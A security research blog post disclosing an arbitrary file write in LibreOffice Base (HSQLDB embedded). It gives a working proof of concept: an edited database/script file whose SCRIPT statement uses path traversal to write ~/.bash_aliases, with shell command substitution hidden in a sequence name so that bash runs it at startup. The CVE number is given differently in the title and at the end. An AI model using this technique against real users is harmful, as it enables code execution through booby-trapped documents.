LibreOffice Arbitrary File Write (CVE-2023-1883)
During our internal research, we’ve decided to take a look at the LibreOffice suite, because.. why not?
While performing a cursory inspection of the LibreOffice Base desktop database, we stumbled across an (arbitrary) file write issue. The fine folks at LibreOffice immediately addressed the vulnerability.
In this blog post, we wanted to share some more details about the discovery and exploitation of the issue.
Poking Around
The LibreOffice suite contains a number of individual applications, including a word processor, a spreadsheet implementation, a tool for building and showing presentations, and a desktop database. For no particular reason, I decided to take a look at how the database part (i.e., the LibreOffice Base application) actually worked.
So I went ahead, started LibreOffice Base and created a new database:
It asked me what database type I wanted and I picked the only available option “HSQLDB Embedded”. After creating the database and filling in some test values, I saved the file to disk. Just as “regular” .odt
documents, the resulting .odb
file was simply a zip archive with the following contents:
./forms
./reports
./Configurations2
./database
./database/script
./database/properties
./mimetype
./content.xml
./META-INF
./META-INF/manifest.xml
./settings.xml
Not terribly much, but what did I expect? It was just an almost empty database, after all. So I went ahead and looked at the individual files. The contents of database/script
made me raise an eyebrow:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
The file contained SQL statements? I still have a vivid memory of the times where SQL injection issues were to be found in almost all web applications, so maybe one could play some funny SQL tricks here?
HSQLDB
Of course, turning the ability to issue (arbitrary?) SQL statements into something useful depends on the database engine. As we seem to be using HSQLDB here, I thought it might be a good first step to consult the documentation.
Finally, I stumbled across the SCRIPT
statement:
Creates an SQL script describing the database. If the file is not specified, a result set containing only the DDL script is returned. If the file is specified then this file is saved with the path relative to the machine where the database engine is located.
Only an administrator may do this.
So SCRIPT path/to/file
could be used to write to a file? That sure sounded interesting! I just went ahead to give it a try; I adjusted the database/script
file as shown below:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
SCRIPT '../../../../../../../../../tmp/ohai'
Then I re-packed the directory structure into an .odb
by simply using zip -r ../foo.odb .
and gave it a try.
Sadly, when I opened the .odb
file in LibreOffice, nothing happened at all. No /tmp/ohai
:(
Accidental Discovery
Maybe I shouldn’t have expected that to work right away. I figured, I’d maybe just play with some other features of LibreOffice Base (e.g., the Forms and Reports) to see if there was more interesting stuff to poke around with. After I was done, I saved the file, closed LibreOffice and - just to be sure - double-checked on the /tmp/ohai
file again. To my great surprise, the file was now present:
bugofen libreoffice_hack𝝺 cat /tmp/ohai
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
Hmm… Maybe clicking around in the LibreOffice Base application somehow caused the SQL statements in database/script
to be executed? I decided to test this real quick - I deleted /tmp/ohai
and opened my .odb
file again. Then I clicked on some of the available options (e.g., “Queries”, “Reports” etc.), and… nothing happened. No /tmp/ohai
.
Now I scratched my head a bit. I decided to maybe take a look at the changes I did to the file while playing around in LibreOffice, so I unzipped the .odb
(which now contained significantly more stuff). To my surprise, the database/script
file was now back to its original state (i.e., without my SCRIPT
statement). That of course explains why it did not work anymore!
OK, so somehow my changes to database/script
have been overwritten. But that wasn’t a big deal - I just added my SCRIPT
statement again, re-packed the .odb
and opened it in LibreOffice. And this time, after clicking on the “Queries” button, the /tmp/ohai
file showed up again.
So far so good. So when saving my modified .odb
, LibreOffice would remove the SCRIPT
statement from database/script
.
So, what did we achieve so far? We made LibreOffice Base write data to a file in the local filesystem. The file contents seem to be at least partially under our control: the documentation and the above excerpt indicate that the SCRIPT
command will basically dump the contents of database/script
to a file we select. In other words, the contents we write to our destination file will at least have to be valid SQL statements. Depending on the file format we’re aiming to use, this might or might not be a problem.
Exploitation Attempts
I figured, a good next step would be to try overwriting an existing file, like ~/.profile
or so. So I went ahead, adjusted database/script
again and gave it a try.
After opening the file and clicking on the “Queries” button, LibreOffice gave a friendly error message:
Well, thanks for nothing. Overwriting files that already exist did not seem to work. At least, so I figured, that would make exploitation a bit more fun.
The inability to overwrite existing files of course by no means guarantees that the issue is not exploitable. However, it does mean that we’ll likely have to fiddle around a bit more. Generally speaking, it will of course not be trivial to predict whether or not a file will be present on the target user’s system. But maybe we could at least find some promising candidates?
I started by reading the ~/.bashrc
file of my Ubuntu test machine and found the following:
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
...
fi
...
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
Neither ~/.dircolors
nor ~/.bash_aliases
existed on my machine. I first decided to take a look at how the dircolors
utility would parse the ~/.dircolors
file, but it seemed that it at least tries to prevent possible injection issues. Maybe one should spend more than five minutes, though? :)
Anyway, for a quick demo I just decided to go with ~/.bash_aliases
.
Finding a Good Payload
Now, as we’re targeting ~/.bash_aliases
, we somehow need to ensure that the contents written to the will be sufficiently well-formed to be executed as a shell script.
My first attempt was to simply change the first line of database/script
to something like SET DATABASE COLLATION "$(touch /tmp/test)"
. However, this did not really work. When loading the file, LibreOffice told me that there was an error in the collation name I used. No wonder, because $(touch /tmp/test)
is hardly a valid collation name.
OK, so maybe I could just use a table name for the payload? The next idea was to use something like this: CREATE CACHED TABLE "$(touch /tmp/test)"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
. While this time LibreOffice did not complain, the resulting file was rejected by bash:
bash: /home/greg/.bash_aliases: line 2: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 2: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
Clearly, bash was not happy about the parentheses. Instead of trying to fix this issue, I just opted to maybe use a SQL statement that would not contain parentheses at all. Taking a quick look at the documentation again, the CREATE SEQUENCE
statement caught my attention. So I just added the following statement to database/script
: CREATE SEQUENCE "$(touch /tmp/test)"
. Lo and behold! It finally worked.
So all in all, my database/script
now looked like this:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
-- teh 1337 haxx
CREATE SEQUENCE "$(touch /tmp/test)"
SCRIPT '../../../../../../../../../home/greg/.bash_aliases'
After re-packaging this into an .odb
, loading the file in LibreOffice and clicking on the “Queries” button, a ~/.bash_aliases
with the following contents was generated:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE SEQUENCE "$(touch /tmp/test)" AS INTEGER START WITH 0
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
As a side-note, we can observe that (as mentioned above) the file will not directly contain a verbatim copy of database/script
, but rather a slightly adjusted version.
Now, when starting a new bash instance, I received the following output:
bugofen libreoffice_hack𝝺 bash
bash: SET: command not found
bash: CREATE: command not found
bash: CREATE: command not found
bash: /home/greg/.bash_aliases: line 4: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 4: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))'
bugofen libreoffice_hack𝝺 ls /tmp/test
/tmp/test
And that’s about it. I think I’ll leave any further exploitation as an exercise to the reader ;)
Disclosure
The issue has of course been disclosed upstream before this blog post was made public. Thanks a lot to the LibreOffice and HSQLDB team for addressing it!
The issue has been assigned CVE-2023-1183.